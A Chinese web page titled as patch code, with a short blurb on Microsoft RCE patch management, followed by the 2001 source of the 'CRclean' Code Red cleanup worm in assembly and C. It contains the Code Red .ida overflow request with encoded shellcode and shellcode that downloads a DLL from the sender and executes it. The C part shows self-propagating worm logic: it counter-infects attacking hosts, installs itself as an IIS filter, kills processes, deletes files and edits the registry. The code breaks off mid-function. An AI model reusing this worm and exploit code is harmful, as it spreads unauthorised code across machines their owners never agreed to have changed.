打微软补丁的一份代码

微软高危RCE漏洞深度解析与企业补丁管理实战指南 远程代码执行漏洞是网络安全领域的核心威胁之一,它允许攻击者在未经授权的情况下远程控制目标系统。其原理通常是通过利用软件或系统中的缺陷,绕过安全边界执行任意代码。这类漏洞的技术价值在于,它是勒索软件、数据窃取等高级攻击的常见入口点,危害性极高。应用场景广泛,从操作系统、办公软件到网络服务和云平台都可能存在此类风险。本文聚焦于微软月度安全更新中披露的多个高危RCE漏洞,深入剖析其威胁画像,例如针对网络服务端口的直接攻击和通过恶意文档触发的客户端攻击。同时,文章结合企业级补丁管理实践,提供了从漏洞影响分析、分阶段 阅读详情
;
; CRclean.asm
; by Markus Kern <markus-kern@gmx.net>
; 06.08.2001
;
; downloads CRclean.dll from sender and executes it using rundll32.exe
; then calls ExitProcess() on success or sleeps forever on failure
;

.386p
.model flat
.code
assume fs:nothing

db 'GET /default.ida?---This-is-CRclean---Code-Red-cleanup-worm-'
db '--check-your-wwwroot-for-CRclean.dll---it-contains-zipped-so'
db 'urce---this-worm-does-not-spread-actively---if-you-see-this-'
db 'the-destination-host-is-infected-with-Code-Red--------------'
db '-%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u685'
db '8%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53f'
db 'f%u0078%u0000%u00=a  HTTP/1.0',0Dh,0Ah
db 'Content-type: text/xml',0Ah
db 'Content-length: 0988',0Dh,0Ah,0Dh,0Ah

; execution starts here with slightly modified Code Red v1 code
; finds GetProcAddress and kernel32.dll base

	push  ebp
	mov  ebp, esp
	sub  esp, 218h
	push  ebx
	push  esi
	push  edi
	lea  edi, [ebp-218h]
	mov  ecx, 86h
	mov  eax, 0CCCCCCCCh
	rep  stosd
	mov  [ebp-190h], dword ptr 0
	lea  edi, [ebp-110h]
	mov  eax, dword ptr fs:0
	mov  [edi+8], eax
	mov  dword ptr fs:0, edi
	mov  dword ptr [ebp-110h], 0FFFFFFFFh
	mov  dword ptr [ebp-1A8h],77E00000h

RVA_1:
	cmp  dword ptr [ebp-190h], 0
	jnz  RVA_5
	mov  ecx, [ebp-1A8h]
	add  ecx, 10000h
	mov  [ebp-1A8h], ecx
	cmp  dword ptr [ebp-1A8h],78000000h
	jnz  short RVA_2
	mov  dword ptr [ebp-1A8h],0BFF00000h

RVA_2:
	mov  edx, [ebp-1A8h]
	xor  eax, eax
	mov  ax, [edx]
	cmp  eax, 5A4Dh
	jnz  RVA_1
	mov  ecx, [ebp-1A8h]
	mov  edx, [ecx+3Ch]
	mov  eax, [ebp-1A8h]
	xor  ecx, ecx
	mov  cx, [eax+edx]
	cmp  ecx, 4550h
	jnz  RVA_1
	mov  edx, [ebp-1A8h]
	mov  eax, [edx+3Ch]
	mov  ecx, [ebp-1A8h]
	mov  edx, [ecx+eax+78h]
	add  edx, [ebp-1A8h]
	mov  [ebp-1ACh], edx
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+0Ch]
	add  ecx, [ebp-1A8h]
	mov  [ebp-1B4h], ecx
	mov  edx, [ebp-1B4h]
	cmp  dword	ptr [edx], 4E52454Bh
	jnz  RVA_1
	mov  eax, [ebp-1B4h]
	cmp  dword	ptr [eax+4], 32334C45h
	jnz  RVA_1
	mov  ecx, [ebp-1A8h]
	mov  [ebp-1CCh], ecx
	mov  edx, [ebp-1ACh]
	mov  eax, [ebp-1A8h]
	add  eax, [edx+20h]
	mov  [ebp-1B4h], eax
	mov  dword ptr [ebp-1B8h], 0
	jmp  short RVA_4

RVA_3:
	mov  ecx, [ebp-1B8h]
	add  ecx, 1
	mov  [ebp-1B8h], ecx
	mov  edx, [ebp-1B4h]
	add  edx, 4
	mov  [ebp-1B4h], edx

RVA_4:
	mov  eax, [ebp-1ACh]
	mov  ecx, [ebp-1B8h]
	cmp  ecx, [eax+18h]
	jge  RVA_1
	mov  edx, [ebp-1B4h]
	mov  eax, [edx]
	mov  ecx, [ebp-1A8h]
	cmp  dword ptr [ecx+eax], 50746547h
	jnz  RVA_3
	mov  edx, [ebp-1B4h]
	mov  eax, [edx]
	mov  ecx, [ebp-1A8h]
	cmp  dword ptr [ecx+eax+4], 41636F72h
	jnz  RVA_3
	mov  edx, [ebp-1B8h]
	add  edx, [ebp-1B8h]
	add  edx, [ebp-1A8h]
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+24h]
	xor  eax, eax
	mov  ax, [edx+ecx]
	mov  [ebp-1B4h], eax
	mov  ecx, [ebp-1ACh]
	mov  edx, [ecx+10h]
	mov  eax, [ebp-1B4h]
	lea  ecx, [eax+edx-1]
	mov  [ebp-1B4h], ecx
	mov  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1B4h]
	add  edx, [ebp-1A8h]
	mov  eax, [ebp-1ACh]
	mov  ecx, [eax+1Ch]
	mov  edx, [edx+ecx]
	mov  [ebp-1B4h], edx
	mov  eax, [ebp-1B4h]
	add  eax, [ebp-1A8h]
	mov  [ebp-190h], eax
	jmp  RVA_1

RVA_5:
	lea  edi, [ebp-110h]
	mov  eax, [edi+8]
	mov  dword ptr fs:0, eax

; end of Code Red code

	call  GET_DATA_START

d1			db 'c:/CRclean.dll',0
d2			db 'http://123.123.123.123/CRclean.dll',0		; ip filled in by ISAPI filter
d3			db 'LoadLibraryA',0
d4			db 'urlmon.dll',0
d5			db 'GetFileAttributesA',0
d6			db 'URLDownloadToFileA',0
d7			db 'WinExec',0
d8			db 'rundll32 c:/CRclean.dll,Run',0
d9			db 'Sleep',0
d10			db 'ExitProcess',0

FilePath			equ 0
Url					equ d2-d1
LoadLibStr			equ d3-d1
UrlMonStr			equ d4-d1
GetFileAttrStr		equ d5-d1
URLDownloadStr		equ d6-d1
WinExecStr			equ d7-d1
RundllStr			equ d8-d1
SleepStr			equ d9-d1
ExitProcStr			equ d10-d1

GET_DATA_START:
	pop	esi						; start of our data

	; get address of GetFileAttributesA
	mov  edi, esi
	add  edi, GetFileAttrStr
	push  edi
	push  dword ptr [ebp-1CCh]				; kernel32.dll handle
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP
	push  eax

	; get address of LoadLibraryA
	mov  edi, esi
	add  edi, LoadLibStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword	ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; load urlmon.dll
	mov  edi, esi
	add  edi, UrlMonStr
	push  edi
	call  eax								; call LoadLibraryA
	or  eax, eax
	jz  SLEEP

	; get address of URLDownloadToFileA
	mov  edi, esi
	add  edi, URLDownloadStr
	push  edi
	push  eax								; urlmon.dll handle
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP
	mov  ebx, eax

DL_FILE:
	; check if file is already there
	pop  eax								; get GetFileAttributesA address
	push  eax
	mov  edi, esi
	add  edi, FilePath
	push  edi
	call  eax								; call GetFileAttributesA
	cmp  eax, 0FFFFFFFFh
	jne  SLEEP								; we've been here before, the dll is prolly preparing IIS restart
											; we sleep till we get terminated

	; call URLDownloadToFileA
	push  0
	push  0
	mov  edi, esi
	add  edi, FilePath
	push  edi
	mov  edi, esi
	add  edi, Url
	push  edi
	push  0
	call  ebx								; call URLDownloadToFileA

	; check if file made it to the disk
	pop  eax								; get GetFileAttributesA address
	push  eax
	mov  edi, esi
	add  edi, FilePath
	push  edi
	call  eax								; call GetFileAttributesA
	cmp  eax, 0FFFFFFFFh
	jne  DL_SUCCESS

	; if we just tried c: try d: now
	mov  edi, esi
	add  edi, FilePath
	cmp  byte ptr [edi], 'd'
	je  SLEEP								; neither c: nor d: did work

	; set drive letter to 'd'
	mov  byte ptr [edi], 'd'
	mov  edi, esi
	add  edi, RundllStr+9
	mov  byte ptr [edi], 'd'				; change Runddll string too
	jmp  DL_FILE


DL_SUCCESS:
	; get address of WinExec
	mov  edi, esi
	add  edi, WinExecStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; call WinExec
	push  0									; SW_HIDE
	mov  edi, esi
	mov  edi, esi
	add  edi, RundllStr
	push  edi
	call  eax
	cmp  eax, 31
	jl  SLEEP

	; get address of ExitProcess
	mov  edi, esi
	add  edi, ExitProcStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  SLEEP

	; call ExitProcess
	push  0
	call  eax								; terminate inetinfo.exe, on windows 2000 it will be
											; restarted but we get rid of all running Code Reds

SLEEP:
	; get address of Sleep
	mov  edi, esi
	add  edi, SleepStr
	push  edi
	push  dword ptr [ebp-1CCh]
	call  dword ptr [ebp-190h]				; call GetProcAddress
	or  eax, eax
	jz  FATAL_ERROR							; ok, we tried our best to save cpu cycles

	; call Sleep
	push  0FFFFFFFFh
	call  eax								; sleep forever

FATAL_ERROR:
	jmp  FATAL_ERROR

db		'end of file'

END
/*
*
* "The true object of all human life is play. Earth is a task garden; heaven is a playground." -- G.K. Chesterton, All Things Considered
*
* CRclean.c
* by Markus Kern <markus-kern@gmx.net>
* 06.08.2001
*
* if called by rundll32:
*		downloads and executes Q300972 patch from Microsoft
*		removes _original_ Code Red II backdoors
*		copies dll to wwwroot
*		adds dll to ISAPI filter list
*		restarts IIS
*
* if loaded into IIS:
*		removes itself from system on IIS shutdown if it's november 2001 or later
*		responds to every Code Red exploit attempt by closing the connection and infecting the attacking host
*
* the dll can be removed manually using "rundll32 CRclean.dll,Remove"
*
*/

#define INITGUID
#include <winsock.h>
#include <httpfilt.h>		// ISAPI
#include <iadmw.h>			// metabase

#define OUR_FILE_NAME "CRclean.dll"

#define EXPLOIT_URL_OFFSET 0x1B9
HANDLE hExploitMutex;
unsigned char ExploitCode[] = "<exploit code removed to save bandwidth and prevent script kiddie reuse>";

int IsWin2k = 1;
int NumberOfThreads;		// prevent clients from DoSing us

// urlmon.dll
HINSTANCE hUrlMonDll = NULL;
HRESULT (STDAPICALLTYPE *pURLDownloadToCacheFile)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID) = NULL;
// psapi.dll
HINSTANCE hPsApiDll = NULL;
BOOL (WINAPI *pEnumProcesses)(DWORD*,DWORD,DWORD*) = NULL;
BOOL (WINAPI *pEnumProcessModules)(HANDLE,HMODULE*,DWORD,LPDWORD) = NULL;
DWORD (WINAPI *pGetModuleFileNameEx)(HANDLE,HMODULE,LPTSTR,DWORD) = NULL;

DWORD WINAPI InfectThread(void* pData);
void RemoveFilter();
int ApplyPatch();
void RemoveCRII();
void RestartIIS();
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName);

// dll entry point, duh
BOOL WINAPI DllEntryPoint(HINSTANCE hInstance, DWORD fdwReason, LPVOID lpvReserved)
{
	return TRUE;
}

// called by IIS on initialization
BOOL _export WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer)
{
	pVer->dwFilterVersion = HTTP_FILTER_REVISION;
	lstrcpy(pVer->lpszFilterDesc,"CRclean ISAPI filter");
	pVer->dwFlags = SF_NOTIFY_PREPROC_HEADERS | SF_NOTIFY_ORDER_HIGH;

	NumberOfThreads = 0;

	// mutex to serialize access to exploit code and inet_ntoa() function
	hExploitMutex = CreateMutex(NULL,FALSE,NULL);

	// delete original copy of dll
	DeleteFile("c://"OUR_FILE_NAME);
	DeleteFile("d://"OUR_FILE_NAME);

	return TRUE;
}

// called by IIS on shutdown
BOOL _export WINAPI TerminateFilter(DWORD dwFlags)
{
	SYSTEMTIME st;

	// remove us from system if it's november 2001 or later
	GetSystemTime(&st);
	if(st.wYear > 2001 || st.wMonth >= 11)
		RemoveFilter();

	return TRUE;
}

// called by IIS for every http request
DWORD _export WINAPI HttpFilterProc(PHTTP_FILTER_CONTEXT pfc, DWORD notificationType, LPVOID pvNotification)
{
	char *buf;
	DWORD size,ThreadID;
	int i;

	if(notificationType == SF_NOTIFY_PREPROC_HEADERS) {
		// get url length
		size = 0;
		((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",NULL,&size);
		// no problem if that short
		if(size > 200) {
			// alloc buffer, MSDN says this is freeed automatically by IIS
			if((buf = (char*)pfc->AllocMem(pfc,size,0)) != 0) {
				// get url
				if(((PHTTP_FILTER_PREPROC_HEADERS)pvNotification)->GetHeader(pfc,"url",buf,&size)) {
					// -200 because overflow only occurs with more than aprox 240 bytes after '?' delimiter
					for(i=0;i<(size-200)&&buf[i]!='?';i++);
					if(buf[i] == '?' && buf[i-4] == '.' &&
						(buf[i-3] == 'i' || buf[i-3] == 'I') &&
						(buf[i-2] == 'd' || buf[i-2] == 'D') &&
						(buf[i-1] == 'a' || buf[i-1] == 'A'))
					{
						// get client ip and run thread to infect client
						size = 32;
						if(pfc->GetServerVariable(pfc,"REMOTE_ADDR",buf,&size) && NumberOfThreads < 50) {
							NumberOfThreads++;
							CreateThread(0,512,InfectThread,(void*)inet_addr(buf),0,&ThreadID);
						}
						// disconnect client, sizeof(buf) is at least 200
						lstrcpy(buf,"HTTP/1.0 403 Access Forbidden/r/nServer: ");
						size = 64;
						pfc->GetServerVariable(pfc,"SERVER_SOFTWARE",buf+lstrlen(buf),&size);
						lstrcat(buf,"/r/nCRclean: rejected/r/n/r/n");
						size = lstrlen(buf);
						pfc->WriteClient(pfc,buf,&size,0);
						return SF_STATUS_REQ_FINISHED;
					}
				}
			}
		}
		pfc->AddResponseHeaders(pfc,"CRclean: passed/r/n",0);
	}
	return SF_STATUS_REQ_NEXT_NOTIFICATION;
}

// infects ip passed in pData
DWORD WINAPI InfectThread(void* pData)
{
	SOCKET Sock;
	SOCKADDR_IN Addr;
	int AddrSize;
	fd_set wfd;
	struct timeval tv;
	unsigned long nonblock;
	char *buf;

	Addr.sin_family = AF_INET;
	Addr.sin_port = htons(80);
	Addr.sin_addr.s_addr = (unsigned long)pData;
	if((Sock = socket(PF_INET,2,IPPROTO_TCP)) != INVALID_SOCKET) {
		// make socket non-blocking
		nonblock = 1;
		ioctlsocket(Sock,FIONBIO,&nonblock);
		// connect
		connect(Sock,(SOCKADDR*)&Addr,sizeof(Addr));
		if(WSAGetLastError() == WSAEWOULDBLOCK) {
			FD_ZERO(&wfd);
			FD_SET(Sock,&wfd);
			tv.tv_sec = 20;
			tv.tv_usec = 0;
			if(select(0,0,&wfd,0,&tv)) {
				// make socket blocking
				nonblock = 0;
				ioctlsocket(Sock,FIONBIO,&nonblock);
				// get local ip used for connection
				AddrSize = sizeof(Addr);
				if(getsockname(Sock,&Addr,&AddrSize) == 0) {
					WaitForSingleObject(hExploitMutex,INFINITE);
					if((buf = inet_ntoa(Addr.sin_addr)) != 0) {
						wsprintf(ExploitCode+EXPLOIT_URL_OFFSET,"http://%s/%s",buf,OUR_FILE_NAME);
						send(Sock,ExploitCode,sizeof(ExploitCode),0);
					}
					ReleaseMutex(hExploitMutex);
					Sleep(2000);
				}
			}
			closesocket(Sock);
		}
	}
	NumberOfThreads--;
	return 0;
}

// called by exploit code via rundll32.exe
// we're either in "c://"OUR_FILE_NAME or in "d://"OUR_FILE_NAME when this is called
void _export _stdcall Run(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
	OSVERSIONINFO osvi;
	HKEY hKey;
	char *WebRootPath = NULL,*buf;
	char ModulePath[MAX_PATH];
	DWORD size;
	int i;

	// determine OS
	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	if(GetVersionEx(&osvi) && osvi.dwMajorVersion == 4)
		IsWin2k = 0;

	// load DLLs we need
	if((hUrlMonDll = LoadLibrary("urlmon.dll")) != 0) {
		pURLDownloadToCacheFile = (HRESULT (STDAPICALLTYPE*)(LPVOID,LPCSTR,LPTSTR,DWORD,DWORD,LPVOID))GetProcAddress(hUrlMonDll,"URLDownloadToCacheFileA");
	}
	// we don't have psapi.dll on NT thus FindProcess() won't work
	if((hPsApiDll = LoadLibrary("psapi.dll")) != 0) {
		pEnumProcesses = (BOOL (WINAPI *)(DWORD*,DWORD,DWORD*))GetProcAddress(hPsApiDll,"EnumProcesses");
		pEnumProcessModules = (BOOL (WINAPI *)(HANDLE,HMODULE*,DWORD,LPDWORD))GetProcAddress(hPsApiDll,"EnumProcessModules");
		pGetModuleFileNameEx = (DWORD (WINAPI *)(HANDLE,HMODULE,LPTSTR,DWORD))GetProcAddress(hPsApiDll,"GetModuleFileNameExA");
	}

	// patch system, in case this doesn't work our ISAPI filter will reject further Code Red exploit code (including our own)
	ApplyPatch();
	// remove backdoors created by Code Red II, won't hurt if we do this on NT too
	RemoveCRII();

	// get web root
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
					for(i=0;i<size&&WebRootPath[i]!=',';i++);
					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
				}
			}
		}
		RegCloseKey(hKey);
	}
	// prepare for spreading if we've found the web root
	if(WebRootPath) {
		// copy us to webroot for distribution
		lstrcpy(ModulePath,"c://");
		lstrcat(ModulePath,OUR_FILE_NAME);
		if(!CopyFile(ModulePath,WebRootPath,TRUE)) {
			ModulePath[0] = 'e';
			if(!CopyFile(ModulePath,WebRootPath,TRUE))
				ModulePath[0] = 0;
		}
		if(ModulePath[0] != 0) {
			// add us to ISAPI filter list if copy was successful
			if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
				if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
					if((buf = (char*)LocalAlloc(0,size+lstrlen(WebRootPath)+16)) != 0) {
						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
							if(size <= 2) {
								lstrcpy(buf,WebRootPath);
							} else if(buf[size-2] == ',') {
								lstrcat(buf,WebRootPath);
							} else {
								lstrcat(buf,",");
								lstrcat(buf,WebRootPath);
							}
							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
						}
						LocalFree(buf);
					}
				} else {
					// RegQueryValueEx() failed, the value probably doesn't exist, we create it
					RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,WebRootPath,lstrlen(WebRootPath)+1);
				}
				RegCloseKey(hKey);
			}
		}
		LocalFree(WebRootPath);
	}

	// restart IIS to get rid of our own and any Code Red code still running in IIS's address space
	// IIS will load our ISAPI filter on restart
	RestartIIS();
	// unload DLLs before we leave
	if(hUrlMonDll)
		FreeLibrary(hUrlMonDll);
	if(hPsApiDll)
		FreeLibrary(hPsApiDll);
	return;
}

// what can I say? it's here because it wasn't much effort
void _export _stdcall Remove(HWND hWnd, HINSTANCE hInst, LPSTR lpCmdLine, int nCmdShow)
{
	RemoveFilter();
	if(MessageBox(0,"CRclean removed on request. You must restart IIS for the changes to take effect./r/n"
					"Reinstalling the entire system is strongly recommended!/r/n"
					"Do you want to restart IIS now?","Code Red cleanup worm",MB_YESNO|MB_SYSTEMMODAL) == IDYES)
	{
		RestartIIS();
	}
	return;
}

// removes us from ISAPI filter list
void RemoveFilter()
{
	HKEY hKey;
	char *WebRootPath = NULL,*buf,*p,*s;
	DWORD size;
	int i;

	// get web root
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE,&hKey) == 0) {
		if(RegQueryValueEx(hKey,"/",0,NULL,NULL,&size) == 0) {
			if((WebRootPath = (char*)LocalAlloc(0,size+lstrlen(OUR_FILE_NAME)+16)) != 0) {
				if(RegQueryValueEx(hKey,"/",0,NULL,WebRootPath,&size) == 0) {
					for(i=0;i<size&&WebRootPath[i]!=',';i++);
					lstrcpy(WebRootPath+i,"//"OUR_FILE_NAME);
				}
			}
		}
		RegCloseKey(hKey);
	}
	if(WebRootPath) {
		// remove us from IIS's ISAPI filter list
		if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters",0,KEY_ALL_ACCESS,&hKey) == 0) {
			if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,NULL,&size) == 0) {
				if(size >= lstrlen(WebRootPath)) {	// can't be our string if shorter than WebRootPath
					if((buf = (char*)LocalAlloc(0,size+16)) != 0) {
						if(RegQueryValueEx(hKey,"Filter DLLs",0,NULL,buf,&size) == 0) {
							// do a case insesitive compare
							CharLower(WebRootPath);
							CharLower(buf);
							// search for WebRootPath
							for(i=0;i<=size-lstrlen(WebRootPath);i++) {
								for(p=buf+i,s=WebRootPath;*s!=0&&*p!=0&&*p==*s;s++,p++);
								if(*s == 0) {	// match
									if(lstrlen(buf) == lstrlen(WebRootPath))
										buf[0] = 0;
									else if(i == 0)
										lstrcpy(buf,p+1);	// +1 for comma after WebRootPath
									else
										lstrcpy(buf+i-1,p); // -1 for comma before WebRootPath
									break;
								}
							}
							RegSetValueEx(hKey,"Filter DLLs",0,REG_SZ,buf,lstrlen(buf)+1);
						}
						LocalFree(buf);
					}
				}
			}
			RegCloseKey(hKey);
		}
		// delete this file on next reboot
		MoveFileEx(WebRootPath,NULL,MOVEFILE_DELAY_UNTIL_REBOOT);
		LocalFree(WebRootPath);
	}
	return;
}

// downloads Q300972 from microsoft and runs it
int ApplyPatch()
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	HANDLE hProc;
	LANGID LangID;
	char Url[256],Path[MAX_PATH];
	int i;

	LANGID NtLangID[13] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_DUTCH,LANG_FRENCH,LANG_GERMAN,LANG_HEBREW,
							LANG_JAPANESE,LANG_KOREAN,LANG_PORTUGUESE,LANG_SPANISH,LANG_SWEDISH,LANG_THAI };

	char NtLangStr[13][10] = { "CN/CHS","TW/CHT","AR/ARA","NL/NLD","FR/FRA","DE/DEU","HE/HEB",
								"JA/JPN","KO/KOR","PT-BR/ptb","ES/ESP","SV/SVE","TH/THA" };

	LANGID W2kLangID[22] = { LANG_CHINESE,LANG_CHINESE,LANG_ARABIC,LANG_CZECH,LANG_DANISH,LANG_DUTCH,LANG_FINNISH,
							LANG_FRENCH,LANG_GERMAN,LANG_GREEK,LANG_HEBREW,LANG_HUNGARIAN,LANG_ITALIAN,
							LANG_JAPANESE,LANG_KOREAN,LANG_NORWEGIAN,LANG_POLISH,LANG_PORTUGUESE,LANG_RUSSIAN,
							LANG_SPANISH,LANG_SWEDISH,LANG_TURKISH };

	char W2kLangStr[22][3] = { "cn","tw","ar","cs","da","nl","fi","fr","de","el","he","hu","it","ja","ko","no",
								"pl","pt","ru","es","sv","tr" };

	// prepare download url
	LangID = GetSystemDefaultLangID();
	lstrcpy(Url,"http://download.microsoft.com/download/");
	// win 2k
	if(IsWin2k) {
		lstrcat(Url,"win2000platform/patch/q300972/nt5/");
		for(i=0;i<22&&PRIMARYLANGID(LangID)!=W2kLangID[i];i++);
		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
			i++;
		if(i < 22)
			wsprintf(Url+lstrlen(Url),"%s/Q300972_W2k_SP3_x86_%s.exe",W2kLangStr[i],W2kLangStr[i]);
		else	// use US as default
			lstrcat(Url,"en-us/Q300972_W2K_SP3_x86_en.exe");
	// win nt
	} else {
		lstrcat(Url,"winntsp/patch/q300972/nt4/");
		for(i=0;i<13&&PRIMARYLANGID(LangID)!=NtLangID[i];i++);
		if(i == 0 && SUBLANGID(LangID) == SUBLANG_CHINESE_TRADITIONAL)
			i++;
		if(i < 13)
			lstrcat(Url,NtLangStr[i]);
		else	// use US as default
			lstrcat(Url,"en-us/");
		lstrcat(Url,"Q300972i.exe");
	}

	// download and execute patch
	if(pURLDownloadToCacheFile) {
		if(pURLDownloadToCacheFile(NULL,Url,Path,MAX_PATH,0,NULL) == 0) {
			for(i=0;i<sizeof(si);i++)
				((unsigned char*)&si)[i] = 0;
			si.cb = sizeof(si);
			// run patch
			if(CreateProcess(Path,NULL,NULL,NULL,FALSE,0,NULL,NULL,&si,&pi)) {
				if(IsWin2k) {
					// wait 3 mins for hotfix to install
					Sleep(3*60*1000);
					// patch either displays message box informing about successfull install or an error message
					// user can't see this message box, we kill hotfix.exe in either case
					// the process we created above cleans up all the temp files when hotfix.exe terminates
					if((hProc = FindProcess("hotfix.exe",TRUE)) != 0) {
						TerminateProcess(hProc,0);
						CloseHandle(hProc);
						// wait till we can delete downloaded file
						WaitForSingleObject(pi.hProcess,3*60*1000);
						DeleteFile(Path);
					}
				} else {
					// on NT we just let the hotfix run, luser will click OK eventually
					// restarting IIS is enough to activate the new idq.dll, no need to reboot
				}
				CloseHandle(pi.hProcess);
				return 0;
			}
		}
	}
	return 1;
}

// removes Code Red II backdoors
void RemoveCRII()
{
	DWORD size;
	HANDLE hProc;
	HKEY hKey;
	IMSAdminBaseW *Meta;
	METADATA_HANDLE hMetaKey;
	char Path[MAX_PATH];

	// search and destroy trojan explorer.exe
	if((hProc = FindProcess("c://explorer.exe",FALSE)) != 0) {
		TerminateProcess(hProc,0);
		WaitForSingleObject(hProc,10*1000);
		CloseHandle(hProc);
	}
	if((hProc = FindProcess("d://explorer.exe",FALSE)) != 0) {
		TerminateProcess(hProc,0);
		WaitForSingleObject(hProc,10*1000);
		CloseHandle(hProc);
	}

	// delete explorer trojan, need to remove readonly attribute for DeleteFile() to work
	SetFileAttributes("c://explorer.exe",FILE_ATTRIBUTE_NORMAL);
	DeleteFile("c://explorer.exe");
	SetFileAttributes("d://explorer.exe",FILE_ATTRIBUTE_NORMAL);
	DeleteFile("d://explorer.exe");

	// remove cmd.exe backdoors
	DeleteFile("c://inetpub//scripts//root.exe");
	DeleteFile("d://inetpub//scripts//root.exe");
	DeleteFile("c://progra~1//common~1//system//msadc//root.exe");
	DeleteFile("d://progra~1//common~1//system//msadc//root.exe");

	// reenable file protection
	// we probably need to reboot to activate the change, user will do this for us on next OS crash
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software//Microsoft//Windows NT//CurrentVersion//Winlogon",0,KEY_SET_VALUE,&hKey) == 0) {
		size = 0;
		RegSetValueEx(hKey,"SFCDisable",0,REG_DWORD,(BYTE*)&size,sizeof(DWORD));
		RegCloseKey(hKey);
	}

	// clean up registry
	// turns out IIS copies new values under "Virtual Roots" into an internal thing called metabase
	// and restores changes of already present registry values from this metabase on restart
	// means we must delete /C and /D from the metabase
	// the /scripts and /msadc changes apparently never made it there and the corresponding registry values
	// have probably been restored by IIS after CRII's reboot
	// there're days I'm very glad I don't have to think the way Microsoft engineers do
	CoInitialize(NULL);
	if(CoCreateInstance(&CLSID_MSAdminBase,NULL,CLSCTX_ALL,&IID_IMSAdminBase,(void**)&Meta) == 0) {
		MultiByteToWideChar(CP_ACP,0,"/lm/w3svc/1/root",-1,Path,MAX_PATH/2);
		if(Meta->lpVtbl->OpenKey(Meta,METADATA_MASTER_ROOT_HANDLE,Path,METADATA_PERMISSION_WRITE,10000,&hMetaKey) == 0) {
			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"C/x00/x00");	// unicode
			Meta->lpVtbl->DeleteKey(Meta,hMetaKey,"D/x00/x00");
			Meta->lpVtbl->CloseKey(Meta,hMetaKey);
		}
		Meta->lpVtbl->Release(Meta);
	}
	CoUninitialize();

	// must do this to prevent IIS from copying it back into metabase on restart
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"System//CurrentControlSet//Services//W3SVC//Parameters//Virtual Roots",0,KEY_QUERY_VALUE | KEY_SET_VALUE,&hKey) == 0) {
		RegDeleteValue(hKey,"/C");
		RegDeleteValue(hKey,"/D");
		RegCloseKey(hKey);
	}
	return;
}

// restarts IIS
void RestartIIS()
{
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	SC_HANDLE hManager,hSvc;
	SERVICE_STATUS SvcStat;
	int i;

	if(IsWin2k) {
		// neither "net stop w3svc" nor ControlService(SERVICE_CONTROL_STOP) seem to work on infected machines
		for(i=0;i<sizeof(si);i++)
			((unsigned char*)&si)[i] = 0;
		si.cb = sizeof(si);
		si.wShowWindow = SW_HIDE;	// don't scare the clueless
		si.dwFlags = STARTF_USESHOWWINDOW;
		CreateProcess(NULL,"iisreset /RESTART /TIMEOUT:30",NULL,NULL,FALSE,0,NULL,NULL,&si,&pi);
	} else {
		// we don't have iisreset.exe on NT
		if((hManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS))) {
			if((hSvc = OpenService(hManager,"w3svc",SERVICE_STOP|SERVICE_START|SERVICE_QUERY_STATUS))) {
				// stop iis
				ControlService(hSvc,SERVICE_CONTROL_STOP,&SvcStat);
				// wait till shutdown completed
				ControlService(hSvc,SERVICE_CONTROL_INTERROGATE,&SvcStat);
				for(i=0;i<60&&SvcStat.dwCurrentState!=SERVICE_STOPPED;i++) {
					Sleep(1000);
					QueryServiceStatus(hSvc,&SvcStat);
				}
				// and restart it
				StartService(hSvc,0,NULL);
				CloseServiceHandle(hSvc);
			}
			CloseServiceHandle(hManager);
		}
	}
	return;
}

// searches process list for ProcessToFind
// caller is responsible for closing returned handle
HANDLE FindProcess(char *ProcessToFind, BOOL OnlyCompareFileName)
{
	DWORD ProcList[1024],size,msize;
